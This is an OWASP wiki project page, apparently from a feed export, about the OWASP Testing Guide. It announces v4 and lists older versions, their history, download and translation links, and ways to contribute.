{{OWASP Book|5691953}}&lt;br /&gt;
{{Social Media Links}}&lt;br /&gt;
= New OWASP Testing Guide  =&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:90px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File: flagship_big.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size:120%;border:none;margin: 0;color:#000&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== OWASP Testing Guide v4  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ANNOUNCING THE NEW &amp;quot;OWASP TESTING GUIDE v4&lt;br /&gt;
&lt;br /&gt;
17th September, 2014: OWASP is announcing the new OWASP Testing Guide v4.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A big thank you to all the contributors and reviewers!&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3rd August 2015, the OWASP Testing Guide v4 book now available!&lt;br /&gt;
&amp;lt;br&amp;gt;You can buy the Guide [http://www.lulu.com/shop/matteo-meucci-and-andrew-muller/testing-guide-40-release/paperback/product-22294314.html here] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;Or you can download the Guide [https://www.owasp.org/images/5/52/OWASP_Testing_Guide_v4.pdf here]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:OWTGv4 Cover.png]]&lt;br /&gt;
&lt;br /&gt;
Or browse the guide on the wiki [https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents here]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; rowspan=&amp;quot;2&amp;quot; width=&amp;quot;50%&amp;quot; | [[File:Owasp-flagship-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Flagship_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;center&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;center&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-testers-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Old OWASP Testing Guides =&lt;br /&gt;
&lt;br /&gt;
== OWASP Testing Guide v3  ==&lt;br /&gt;
&lt;br /&gt;
16th December 2008: OWASP Testing Guide v3 is finished!&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
*You can download the Guide in PDF [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here] &lt;br /&gt;
*Download the presentation [https://www.owasp.org/images/2/2c/OWASP_EU_Summit_2008_OWASP_Testing_Guide_v3.ppt here] &lt;br /&gt;
*Browse the Testing Guide v3 on the wiki [https://www.owasp.org/index.php/OWASP_Testing_Guide_v3_Table_of_Contents here]&lt;br /&gt;
&lt;br /&gt;
''''NEW: OWASP projects and resources you can use TODAY''''&amp;lt;br&amp;gt;&lt;br /&gt;
16th April 2010 in London, OWASP leaders deliver a course focused on the main OWASP Projects.&amp;lt;br&amp;gt;&lt;br /&gt;
Matteo Meucci will deliver a training course on the OWASP Testing Guide v3. &amp;lt;br&amp;gt;&lt;br /&gt;
More information [http://www.owasp.org/index.php/London/Training/OWASP_projects_and_resources_you_can_use_TODAY here]&lt;br /&gt;
&lt;br /&gt;
Video @ FOSDEM 09: [http://fosdem.unixheads.org/2009/maintracks/owasp.ogv here] &lt;br /&gt;
&lt;br /&gt;
Citations:&lt;br /&gt;
&lt;br /&gt;
http://www.owasp.org/index.php/Testing_Guide_Quotes&lt;br /&gt;
&lt;br /&gt;
== Overview  ==&lt;br /&gt;
&lt;br /&gt;
This project's goal is to create a &amp;quot;best practices&amp;quot; web application penetration testing framework which users can implement in their own organizations and a &amp;quot;low level&amp;quot; web application penetration testing guide that describes how to find certain issues. &lt;br /&gt;
&lt;br /&gt;
Version 3 of the Testing Guide was released in December 2008 after going through a major upgrade through the [[OWASP Summer of Code 2008]]. &lt;br /&gt;
&lt;br /&gt;
= Background and Motivation  =&lt;br /&gt;
&lt;br /&gt;
'''History Behind Project''' The OWASP Testing guide originated in 2003 with Dan Cuthbert as one of the original editors. It was handed over to [[User:EoinKeary|Eoin Keary]] in 2005 and moved onto the new OWASP wiki when it came online. Being in a wiki is easier for people to contribute and has made updating much easier. [[User:Mmeucci|Matteo Meucci]] took on the Testing guide after Eoin and shepherded it through the version 2 and version 3 updates, which have been significant improvements. &lt;br /&gt;
&lt;br /&gt;
= Project History  =&lt;br /&gt;
&lt;br /&gt;
== OWASP Testing Guide v3  ==&lt;br /&gt;
&lt;br /&gt;
Testing Guide v3: plan (archive) &lt;br /&gt;
&lt;br /&gt;
26th April 2008: Version 3 of the Testing Guide started under [[OWASP Summer of Code 2008]]. &lt;br /&gt;
&lt;br /&gt;
6th November 2008: Completed draft created and previewed at [[OWASP EU Summit 2008|OWASP EU Summit 2008 in Portugal]]. &lt;br /&gt;
&lt;br /&gt;
Final stable release in December 2008 &lt;br /&gt;
&lt;br /&gt;
== OWASP Testing Guide v2  ==&lt;br /&gt;
&lt;br /&gt;
'''10th February 2007: The OWASP Testing Guide v2 is now published''' [[User:Mmeucci|Matteo Meucci]] (as part of his [[OWASP Autumn of Code 2006 - Projects: Testing Guide|AoC project]]) has just published the latest version of Testing guide which: &lt;br /&gt;
&lt;br /&gt;
*you can read it on line on the [http://www.owasp.org/index.php/OWASP_Testing_Guide_v2_Table_of_Contents Testing Guide v2 wiki] &lt;br /&gt;
*or download the Guide in [http://www.owasp.org/index.php/Image:OWASP_Testing_Guide_v2_pdf.zip Adobe PDF format] or in [http://www.owasp.org/index.php/Image:OWASP_Testing_Guide_v2_doc.zip Ms Doc format]&lt;br /&gt;
&lt;br /&gt;
'''OWASP Testing Guide v2 in Spanish:''' Now you can get a complete translation in [http://www.owasp.org/index.php/Image:OWASP_Testing_Guide_v2_spanish_doc.zip Ms Doc format] &lt;br /&gt;
&lt;br /&gt;
For comments or questions, please join the [http://lists.owasp.org/mailman/listinfo/owasp-testing OWASP Testing mailing list], read our archive and share your ideas. Alternatively you can contact [[User:EoinKeary|Eoin Keary]] or [[User:Mmeucci|Matteo Meucci]] directly. &lt;br /&gt;
&lt;br /&gt;
Here you can find: &lt;br /&gt;
&lt;br /&gt;
*[http://www.owasp.org/index.php/Testing_Guide_Quotes The OWASP Testing Guide 'Quotes'] &lt;br /&gt;
*[http://www.owasp.org/index.php/OWASP_Testing_Guide_Presentations Testing Guide presentations]&lt;br /&gt;
&lt;br /&gt;
= Related  =&lt;br /&gt;
&lt;br /&gt;
'''OWASP Testing Guide (v2+v3) Report Generator''' is found at [http://yehg.net/lab/#wasarg http://yehg.net/lab/#wasarg]. &lt;br /&gt;
&lt;br /&gt;
'''THE OWASP Testing Project Live CD''' The OWASP testing project is currently implementing an Application security Live CD. &amp;lt;br&amp;gt; LabRat Version 0.8 Alpha is just weeks away from Beta testing*. &lt;br /&gt;
&lt;br /&gt;
The aim of this CD is to have a complete testing suite on one Disk. The CD shall also contain the forthcoming OWASP Testing guide. &lt;br /&gt;
&lt;br /&gt;
The Live CD now has its own section you can find it here: [http://www.owasp.org/index.php/Category:OWASP_Live_CD_Project] &lt;br /&gt;
&lt;br /&gt;
= Feedback and Participation  =&lt;br /&gt;
&lt;br /&gt;
We hope you find the information in the OWASP Testing project useful. Please contribute back to the project by sending your comments, questions, and suggestions to the OWASP Testing mailing list. Thanks! &lt;br /&gt;
&lt;br /&gt;
To join the OWASP Testing mailing list or view the archives, please visit the [http://lists.owasp.org/mailman/listinfo/owasp-testing subscription page]. &lt;br /&gt;
&lt;br /&gt;
= Translations =&lt;br /&gt;
&lt;br /&gt;
Thanks to the translators all around the world you can download the guide in the following languages:&lt;br /&gt;
&lt;br /&gt;
* Spanish in [http://www.owasp.org/images/8/80/Gu%C3%ADa_de_pruebas_de_OWASP_ver_3.0.pdf PDF] or [http://www.owasp.org/images/d/d7/Gu%C3%ADa_de_pruebas_de_OWASP_ver_3.0.zip MS Word] formats. (v3.0)&lt;br /&gt;
&lt;br /&gt;
* Chinese in [http://www.owasp.org/images/0/06/OWASP%E6%B5%8B%E8%AF%95%E6%8C%87%E5%8D%97%28%E4%B8%AD%E6%96%87%EF%BC%89.pdf PDF] format. (Thanks to the [http://www.owasp.org/index.php/China-Mainland China-mainland chapter]. (v3.0;  translation of v4.0 in process)&lt;br /&gt;
&lt;br /&gt;
* Japanese in [http://www.owasp.org/images/1/1e/OTGv3Japanese.pdf PDF] format here (this is a 1st draft of v3.0, final release coming soon).&lt;br /&gt;
&lt;br /&gt;
We invite you to explore and help us translate OWASP Testing Guide 4.0 at Crowdin. Please visit URL below to start translating this project:&lt;br /&gt;
&lt;br /&gt;
https://crowdin.com/project/owasp-testing-guide-40/invite&lt;br /&gt;
&lt;br /&gt;
= Project About =&lt;br /&gt;
{{:Projects/OWASP Testing Project | Project About}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &lt;br /&gt;
&amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|Testing Guide]] [[Category:OWASP_Document]] [[Category:OWASP_Download]] [[Category:OWASP_Release_Quality_Document|OWASP Stable Quality Document]] [[Category:SAMM-ST-1]]&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	</feed>